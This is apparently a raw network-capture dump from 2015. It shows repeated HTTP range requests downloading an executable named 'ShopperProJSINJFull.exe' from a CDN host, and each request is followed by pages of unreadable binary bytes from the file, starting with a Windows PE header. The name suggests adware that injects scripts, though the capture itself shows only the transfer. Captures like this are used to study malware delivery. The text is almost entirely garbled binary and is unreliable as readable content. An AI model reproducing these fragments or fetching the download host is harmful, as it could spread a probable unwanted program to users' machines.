.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4681922
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



...@.:8...".S.]L.......O9qu............F@.`..........v0...i..#.....`,(
"#0....U..hZ....|..b~[-`......r..A.......F..<..s.O...U....-.F...`..
F....8..H....T-\Y7u.6....mFM'..>.d... ...o...0.4.....y....PSf.Xo.dh
...23..R.Q.t....!.....F.`...I.W...7.g.U.Q..x...5..7...B.a...Q|K.R.....
G}...9.....t.N>@.....i.."....5..r..I".x.....k....]%r...M...j.5.....
~...&..#z_....p?_...S>..S.....q...X.j....G;...F....s...K.Y.X....W..
...H..L...w..k.M.......(JeqH...M.......o?"[email protected]......!#.....4.
.s$fqn9..gw..u.RX=cE..K../Q......Dd.G.R.&.~}k..lJ.....fb8....%3...Zs.M
*....K_&...f..][..7.7.......[.* 'i..J\'Ec.v[...8.#c.y..9x.co.9..l....$
z........Yf...C...,..k....!.#.c..<Y.n..D#.!.........[...{.{....V3..
?<.w."_......-.N......*...p.,..L.....*.N.a%7..\..h1.\.Q.'...i...<
;"......~94...Q.....}....y.6j....48...M..-.V.vO.......:.pc....p*Lx....
dr.G|L.T....".#.$x6Z"@..OF...._........2FD.}q.N...........F..$........
.h.P.h.3..X.]0r.NT..$.L.....4......LW.'.cW..m .ex."..M}..:.'.2.q...V.s
. -.).d......%.~.....:3.p...i..q...W...J....Ijxl...\.@ a>.;e8p..C.6
.u.p..^.5:...<q...k.f0............H.a.}/Ug....$'.k.j.....9.....=...
.....TI...&.[ .W........y..6:.l.Ut.H...W9.}$.O.1%.J...S.Y.V5.4tm..1...
d...P....A..S$..1...._..Z..Z...G.........z..N%..?.........6Z....W.....
.aK....B..b.5..Z.W^Z..I.....K...*mrB.F................-....l.Cx.......
...p.....\........Y..B...(H.[..[y.s............_.`..`....C...~1.x^....
...4...H...y...D.~"29.#..b...i....]....T).M..;.4%..8...g...v.......:SI
M...I.......(h..>.;..s..'....(.Mc36.../_.........9"A.Z.jR.n|...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/4681922
t.^H!.-....s..v...H..z.....M..$`...I.U^....D.}.o......C#...uc.......Na
...[n....C...........G....P...d>.).T~E...Ru..P...j..bz.V..r..A ...y
D.1.....bm.Y .8...;<...n..k....H....].68................,[I.h.?.R..
{5...k..F.c .~.)....heC.M.I\..{{L....u6...p......A..d..P1...(..B.:....
.A..l<...>..P0...j.0....d7....t..&...9j.....P..w...........[..P.
....7..q`.I....z...V..Z...Z.3.i.i..b...SB...97A1.[..b..##.......D.X.2.
Dv..q_>.....X........>....T.b.....k..8.}-L..303....G......"..WYl
.nI...y.....[.,..L2}~.."..'[O*,,....V.._......UD..iD....'(.G.R...5V..'
.\.\..B?C...9.)....[ ..p.Q..S<.l......>........f.D..(\_5..y.Pg(.
.s.......W....D.v)X...Bo%/?H............B. ..=........P:.7B.y>.....
..g..L...xs.Y.].....{...M....x(..q.Y.,?.<-...ZD........}..........C
o.%.r....:E.XT..!......3.Gx.dm.v.T..;.5.x.....XUd22$..;....s.q/....D..
.. ..O..o..J....4.i.w...i..097...yt~...w...tcuP..)`..B.t...{.T}.-..u..
...GI....-...p.j.M..M.*>!...3....w0,.<..q.....J.r../.I.F....2:..
...z..C.........V.`Q......f:0u...=X.Vj.;.\;..E................zF...H..
..._.0:)....J..P3....LJl.!......\...[}|">..~%1.....Jy} .... 5..{#].
^....f.....8.......... ....-(....d..<.x..SS.x}....Vu....cv...w|.o..
.K^=.;@..M..CAP6.v...d......u.0..x..#A.P.,..a..&9........b.Toa2JV..j)%
...2.'~>..|..y...R...?.......!7g.t.'..=o....om.).,..:.5.....H....P 
J.9....l_...2.....9A..!...-.W./..m94W....j.}..ew.(0...3...-n<.....\
.w.L...qC.%or....o ,...#.L.A'"5......^........XHN.:[email protected].'.....Rc
y.mHG..e..E... ..#...Lj..(.>......b.o...M...Ie.i....q.Kqw.zo_1.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1500000-1749999/4681922
...X..<ls.7.....C=..H..HX.'9....d.)z`6?w\..-.!....X.G..3.....!....T
[....9..d..ds.G.B..D...L.q.$......N.....v.^..........\......l4.Vi...].
.;...........2t.....F. F...Zl.... ..9.z.U.......Q......%....;lv%.....8
.....cA..r1M.L.............)...h.(.(I..;....n....I2 .c..%&`|.m. ..e.VJ
.z#.<.Y.O.o....5....09w#..........2Q.gq...L....p..`.....(=9Q...f...
.)..rL[N.i..I....N.....][email protected]..}.v.t....
..-....)C...J...C..x.0.y*..k.=.s...N......,P.8.,{..<Q.....K. D.q.~.
...6.d..|....I)..fD..p...'.....[. 1Qk......D)6D.....w....V!....b..29@.
........'.A..... .N.#.P......<..o...'.......I..............;.).fV..
..U.."[email protected]..}p.?..F..=..g.T'....\/[n I..{k..O..z
..-4.Z\]>.^..$..=*..k..?..k...k..Q-.......g...>Ry..c..g..<...
....{.r.......".9...q!F.~.....r..!..Q....t..p..).;.......ec....]...9..
.$.H.?.....t...\.F!..M1*.:...v...e.?o.....YL<.........U}.. ..C...H.
z.D...U$..>/........L..<c...._..j....{.*?..(V...D..Q(@.j...Q#..r
.#>.Jr..."..uQ.(...\sI......I..Q..|q.<...>.N...X....|^..x....
4...2.Cp..K.....`...k.2......_........H.X7..fX...3.=....{L.{j......FcR
Y.........$..X..g.i..do...v4..c.P.....S........... ...$.]Bp*.{.......8
...S.!.>..v W..S.a.ddp1........6......q'&..K#.... e.?.........~...&
.S.W...,..L[[email protected]~..q.=...8Zd.vIX... j%..]By...E...h^;&WN......
.C.*.Z..Y.4QtT..'[email protected]%:.[Y..... ....=[.......N$o.I2..|....3.
. <..........0..M....e....3Zr..x|.0.Q........6..?..B......<.....
......#..............Hf...........0.?G~A.@r.....[|5.D..>.vIu..@<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1750000-1999999/4681922
.......j,.v..7."...5te.Z.........."D..z>...~..,>84....c...ss...^
6.%.{..7.........M..Yz....j.n...V... ........R.2K..E...Q.c...x#.....[.
>7....p._...l...T....)B..jGj.H6z...^.......K,/...E...L1.aw.C..j<
!{...%..9e.......$.........0..L*....>8.c.b1....\.k...|.\I.)llT5..Y.
~..jx.[...hq.&.x8..,dj...;f....7.V;P....=.......}.A..F.....em.!..... .
.Ri....M....|.*Q...k....ddf].dTg..9B.]...>...5..X.4.>.u...x4....
.)(....U,.. ...f..gdPU{........:K.{..5d..K..(......F...a.l.PW)...4*{..
..8.....W-G.8.p.R!....o.h.....~M&{..v...L...hlbB.....".px j.{..'.%.._.
./[email protected].?.W....48g....4..h..f4...K.1......t9rY.N?tMrr..Y.%..
..:Y..b....k..s.V....X.g=..1..0...}.........x.E.......F....G9}.o2...IX
..t.....M.".`(H....q...z4.....Q.'Y.(Ybr.B3U...b.tB>...Y..........\ 
.07v.....y...;.". ...Z...^..D.....'...o...~.../. .v.$U..~.?.f ........
.{p..u.....)..E_.G.6....*#[email protected]`....0Y...D..^..
\..fMf....?..5.9Z....."....s..m.....J..qR\...rx...8..oF...............
M3..g...4p9.......V.a.H.....F1$..*..,tE......P.Qv|..s....).~..w...c...
y/v..u...y~f.#...[....m.#j<.!kx...ig...e.....)Bd..2.o..^N...'.....D
0....5=I...X.*...O..n.H..E!Q}.c$3..<....W...s...%....!`i......j.._c
.*L.'..K#.sq...Y...%..0lbL.TE......i F.G.7.Gm[..D.D_..P.....p.27....|.
.Q3.../......=X..{...3.F....... .....r.$...6bE.f.oy2Iq.VT.)....Y..j.h.
!a....5a....z.G..)....Xa.Y..;8...q.._."...".........q...N...d.5>..U
..t.=p.n..^.\j..%.g....P.f...2i.Y[.#..nX.a& .. zw^.z...m.M.....Km....h
.1Y.....sj"s..P.tI..2...YD....R......R.....{.........F..rb.R....].<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2000000-2249999/4681922
...W.d.M^Mx{........:h.%....fS.....c3eK............&.,WB5...!<r<
.h.N.....H\..wJ.......p....l.....U\..a&.Tr.3|....(t5.-.jA.P}D..-\.]...
.....g.....h...9..l....../p5...".'zp.>. A>..XD.....W..1.c.....jD
.b]....."..1........#....W...&u.@e. .d....o...].....8.....&./....z....
[email protected]_..Vl...q3B.H.O9
r.r.q...U.Z....)...'f..Lj...{.Q.....!y(cwa...:..0.oa......~.{G...A.*Z~
Q.........\.&....[s7..m.(.L.T.B#.p.........W.ACB..'..........U M.WP)..
}>.O.,....-..6{......$f.G.9..^Z.Rf..i.#..?..N.A...y...Ty.."..D.d...
g.J..;/.8......RY.......i. ^6P.."..w.-5..:.eX....5.?dBKI....L...XL*|..
x....p...w.."N.......&.........uI..,6..wY..................r..ogJ.-.p.
..c...9...k...cG[R.7G..8T.l.2.P...w...^..5Aq&S^..={..T..........[.U...
.V.....D.."-. ..h....ca*Y.....6.m.M......Z ....Q..L~..z....0.p^......&
lt;.>oGj.e..E.D...z..0.....3..^..=Ze....9P..6.........b..W.......Y.
...."Lu.t..z.].......W.D..XG...._....wk...VA}...L..WQ......y...sexOG.l
....Po..=.Hy.1?.3|..].U...H.P....^.$.?......v.....K0...........h).g...
..$...q/t....2&."....'....:[email protected]....(a_.SZ.a...N.
..1(...#.1D.YZ...Uw....L......<..W3.*N".H..UV.=..sdNDy...L.Eb......
...zr\`.:@c.0....Cm6....{.9..w....Z..@...}.......^?D5...G.!2..u<..U
...&e......E..eS'..7~.b.%U].5.nK.k.Rm.F..M.y[....w.....C.....}3.G{.@..
(H...0....!..G........r..0.q b..3.|.....o~...u....v..5K.c]..x.......R.
..MC_I..(lj.>.v..M<.4..N...H..kIN7....(RO..ry*.>mS.`H:^V...Vg
e....M.P..."..8*.h.H......to-x.fY.....".[.......-.M..9.....t..AiR.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:04 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2250000-2499999/4681922
r(*lWO@ p.....0Cj)71\s.q....{P..,..k....RN........<=I4.[.......'...
.J.Cb,.....R.ika.w.Bv..$.........G....~.'W..B6.w..*$...%..N...2..!....
.R.d..v|.C....%.=....%gF...xJ.G..e=....0.W#.7....3E8.<..aO.H..6-...
...>.b.}./..6..y..YEL......{!....N^.\R$.E......23./<.c..x..F.%..
.Dh....>.-... .v1.k.........:.E....4...?O..mD^...tf.".......k..K..'
.z.:?#o..R..(?'...".R..N }i.W.W...t........k.F..W'.......f...Bo..Q.duh
7.O.)d..SW..4gf.)9p........e...#.y..7{$..82d.\V.9NW6.6'%....f.........
.f=...?.F.....*%[email protected]*......\......R.IDdSi.`._..Z...VM\.
....M@/a]..i"....K....!.\....g..(..9..x......{!......>..g/.r.a..Q.K
8.R...q..i.".mF.....Bt............W..#.$9n?.||D....|J.......D...!..3..
....W.]...^-.......p..cc..J.*z......r.?...f.$l.a.w_.o.dU.........R..,.
g[qUfn4......}h.....(..u.r..XO..l..\.R..AMv.k.P*......N.1@(...$v...8.&
lt;Z9?F...O.c....l6...?|.........#..S...,>....<^#.8R}....).0".0.
.....N.9.Of...~."Pc.M........&.30.\(.......e../U.'..>U...l..L`.....
._~...*.|.........=.6....zY ..kUC~..Y.o>[email protected].
uV....Uw.&[X.6l0.sx..w...JA...'m..M~%q{...?bj..j....B..xk..#!7...%....
..p.....23.. N..Ni..F...2~.K1...X..l.0........#..N./....Z...'t.P..D...
.JJu.l0..\!.\.6.].:...A_F........4.U_.V.1.......THJR..........{....*$.
....=.UX...@T..?0..}ph#6(.{....-.....&....l.8..9A.Y&...v..QB'.B.7k....
..ir...76ov.6wl..C..lQO....?r.m^K......[...........eT..f..q.t....W.,.N
.......2z...D.h2....C.......(...*./m...b.e,........H.w..h.tN....zH.?.]
. .'..~.{O.................a.X..I..W-..............m\.>.`...)..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:04 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/4681922
mp.x..k9..O@`....F.\.........~qaU.j|.Q....m...J.M.....G.v.............
..Y..y2.^......C..\\e...YD=...^..M..e..[hV...yX6.9.....\....c...<.M
......C...3..!.\0E%Wq...O>f .H.1.b..._...u.....}.d.q.XJ..4=zI.S*.3v
....#......F}...r...~.;....@.."......$.......We.c.1n6.SM.J.Ws....O.A..
...G......vV..~.kl...y#. ....O.^..).. ..{b.......X....vg&P..&o.}Ui.-..
.&...;fa...._.l.$....I\f..\[email protected].;..l...9
tN.?.".'. 1.Y....[7K.)..w...[k .?..M.J....K,......xd.. ...bX.6....~..E
uky.0..p.U&..V..U{[email protected][email protected]
B1t. .E...Q..m.[.*1....`.....xlx.....Y.q....!.c?..u-...z....^...ce...P
...4.r.C:K......#.s.RAU..,..G...U.)[email protected].......$..yU.p...-IP.np
...1(k......,.I...4V.@(..O3!m......J.4.....?_..9.6..\;...w^w;...a0/. .
...BhRA.?s...T..../..."....r{..e(7..O.l.5b^.i...lSQ.%.....x.:.........
{g.Q.4eXi.)PJO6.y...{.l.W...[...t...../.....8n.L...iJ`...~.....\...../
..^AA#...ex^..=%.OA..W.H..J.1}.]......c...:m..K\.<.t0..SqI...K...2.
..R..9|. ..............|.....r...OA.iH.g..c.M....p....Q.9%.. .t:!.....
..z........z {..........f<.....$.~.$..V.n.......9O..*....Gr.4...UN.
._.f......"...]i.t..*y...Y.O...Q_U.~...]...h.....2)E./......B.....M. .
..I"b:....'..... ".z..-..XY..$....x.D'....JJ.../O...<WQ.lPFD..v....
.[[email protected]...............`.\.|CR7..fb..{O... /..^.`c..9/...;a..5G....7.L.[
..=]Qq..`e..@..)^.C.l...]l.0.I..c..o..Ez<.;N>...|M.sO.'..i...*.u
.......1.A.JD...(>......or.m:."Y.b.F......*....l.O..U*B.>i>e.
..W.V....B}.F...D....h.d..~...9$.y.m~s....[.m.p7..jQ.E...s..`*..).<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:04 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2750000-2999999/4681922
.....-..O..~..........9.l.....e?T.[.....`s.......(.&...F.*.....a-...k.
......y.A..,\..2.7f..E.Lt.../ ....V....T.j*T....*;5Y..&.`.b...t[.....,
.......g..N..MBl $.[-..M.....j.....7R..I......z.tFO~/../.:.|H..:2..)j.
..........Py_l.r...%.v.:....(.6......b.. .|4..R....M.cI..h.iceR....G..
e.......U-..o...z.......,.r..7....j=.p.s....G.V:Qx..IdH.}...2.y...#;.1
".n...*k*[email protected]_..'Q4.{._1Vx.e..6H.I.|.x..4
..b..U|m.%...h..........|._..P.KD..q.AB..._..w>...k..*p..$MFB.x n..
K.......;4...H_..0f.. ......|.b.~V6..z....-.....|H..z2s..t.)57-....I..
.(Y..I...`....#....^..G.....F,.`........bk ...7.:.4=.c..ow.v...C......
........t..l<d.HU.............x.....b..../6.\}.ejxL.j.K.....T[.P...
........~Hy7:....O.. ...2.}..=O.R..YT....S......w...Uk{{.8*.*.`i.a7...
F[..H._.T.4..z.b..]..Z9...g....L..?...v}.....nw.._G.Gbn.5..e2.........
..k..k.../.....*9.^..x.$.........<.B4g1...H..V..... .I.._..0;..Q...
.]...7...}.E..r......W......n........YJ2.xO...0;\B.. ..&t.......o.....
..%........*.LA...NX..........GPN$.o...EpT0FM..a...........S6....0...]
........O.........B .."..8.j..!s.ZY....H...R!O<.......-...a........
..iz.....l.g5.....;.$... vR.1p.........TmT.V9.r..U..Mr8...G8R.L2..W...
.!..].z...2T..0......*A......A..~=..U..%..O..|O..|..rsg....7...m......
r.....CX.lp ..0^<....OSUqH~bX7D.H...]....]._..........B#rOl[.3....I
f..YG.E...I.....\O.0/v...po.5a..m.#..7wC.V./..?Ft^cs.....).W.]...... .
=.....yQi.=.I......6......u7.^.D...... .........}..0.<......5;.o...
...l".$5....J.........(..G.Q;...a...\..;A)j.{>...'.6..YNu..;3..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:04 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3000000-3249999/4681922
........E.l./.Ca...%L..v.R.Y......P;...1.S!....'.&.. .RV.)&e2]W..p.wg.
."...G..!1.)[...[.O.x....57...$.Fj.`v....X.'....<.....)...-..*.'"..
^.............1....M.....z.Y......M7?...6.a)..i....1...U.8-.uj... ..o.
\5..ok..}:.m.B]....|....6.m..q.&.9'CK3.n.W..J....F..,....['..)...j..fn
.....]q.......@.#.u.et...y..d..{U....h ...........&.Z....v....N:....o.
Zmgi....[i......o......A\.U..g..h...F.......pryS....~.B..p.T[..].A....
.:....6O.............<.EJ7M...y.i..&.u`*..Pq..P.H......=&..>w..R
X..y.-.A.....T..q..L.j..]..O-y..o......M.(.Rm.M..lt.7/$....}....6.h...
....o.........H..{.#9j........k........I.Q..(.......M.1.....T-E..kzr.C
).?.:./g.=..>........;.$...l.0d=u.."...e1.......U..F*...J.a..p.....
.Lq..#..:.._...J..4.Ho.....G..~3.U.#.0...Rq...}..v.."..... I..1hR....N
...]...Ga. ..Bz.I.e.. ..8Y...........:..q.*.u.m.J.Z...M.E-.t.i.?..8..:
......(ZX........{.%...J...u...../.W.o.....Z8[/.........Kv..HD1B..5..x
........7}..'........A!.H.x[....5...{.-....J8........C......../Wc.w...
.S.sq'<:.....lm./.<SOg..c........Ld...0.P=..eU.U.........4..\t:.
j.z.........!..'..3.=..b.r.kh.8D....h.......J. ...w.B?...A....l..O.f..
..]J.(.......]...i...m.C...:..V.^.".....(Ka..B'..w..{.~f'.......O.....
...R..}<|.....D:.....f;.A.Ow..O.k[k-...u.l..?7...DR.=..Y.......^.xL
.iy]....j..P..?.....}%.vF.m..AA.4.....v.1.q.v.u....,.!.x.>@.&.[..9.
|.g.-i.s.\yLub(..!x.jr4.$...l...5.q.O'../C.[.Ij1.....a.Cj....R...5t..W
......."....5f..........>B.}ak...2nK...(..............D......r.X&..
7......0.....N....z.b.R.c.h..!......`......t..D....4.....]A...`...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:04 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/4681922
...@.......,.a..?...u..y..DZ....h".....<.rC..={.....K..U1.p4J......
b.a.c...v.?.x2................".8.........i9...`.!....g.....l...|.k.K.
.L.}[email protected]....?...t.mr..h].L._.....C....<:9.....].....y...
,.s....S.W........,........&.E....f.........y...m0a....j.6X....B\y....
..3......J. {..#...rF.....0..bb...66.A)`.........9.....&.......7......
..7.n...{......... m../.l.?..b...9.....[.N.....D.....5{Qh%YJrA.=.R._%O
...F.e..[...3.fUGF`.t...[T...4...D.*r....rJ.CM..]..s...0..=q.z...7G.;.
[email protected].(V%.@....|.|...C..
lz^..H..jJ..{....'. *Z4.F...3..}..M.p........y..c.......J.M.<......
...U?4z.8...A.q...{]j...aNZ...D-d.....?...L....#s....%..^).P........q.
tG...z..^....a......i{s....!.......E.... ....h.:.....-.,.3$.j..W..C[y.
Y...A0..'....6.."3S\3V.8..U. ...$.IU;LI.Y...|.Vuf....k.Nu.g..r-.......
.v..ql.(...`vIr.,..Z.Q^x...yL..sT..8R......C.\..'......1..E.....M.k...
.W......b.p.e&<....)..rs.....Y....".#A...~|.m.....p.]..rLYB..}....,
w.kR.....6m.^Z..._.....!..jN.Wi%J..2*..gQ.._..N.~.a.....!.q`.}.`GX.?..
[email protected]%.$3.>XV....a'.....$.,<G.}5V
.rp..D^p./..O]1........>....u...Q. [.....s...y..QQ.Kp..r .s.;..D...
<.5./.....w.s..".)C.|..../(......k..... .*$..<D.^T1.oB....ezWd..
..A.... .!|...b ..nAc.0........."..5...@%V....oi.u..j...\..@.*..y...oI
w..7u.L..# .7G\G.py'.v...Vf.........8..i....'.... "......6...v.J.....g
.x<^..l....1{...1 ..B.-..p*i.xf%....2............gT....z....&...uEK
f.....PhXK..;N..F5]......Yl4.'fT. ................-.....p1..?D..?.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:04 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3750000-3999999/4681922
;..1x8...=.......J.f.....<...1o4..FU..mi-.k...j.^>j<.9.a...m.
.z.3.K..l......I....... iW.[..{10B......".9.L..S.....r.....Ss...d.. ..
.4..Q8'.Fm..X.*.:84.J...qP._.. ....in..f.........EX.1DQG.....^X$.Zf5.-
........#[email protected]><.......,.L!...{`...V4.cg....... 1...%....t]..
]....Q....[..Q)#[email protected]|.V..t6...]....C`......
.....aR.c.J:...s....L.e.h^h....t.. ..z....Et..`.v.y..f.S|e...Q.H.h,.}H
.V..........H..........`........w.A.G..Q...B.P.D...mD.R..!........x...
l..,Y.:.[@3....v3.m8.D...x...;6.9..~..J..f#....Mp^.....s.i..[j..._s.y]
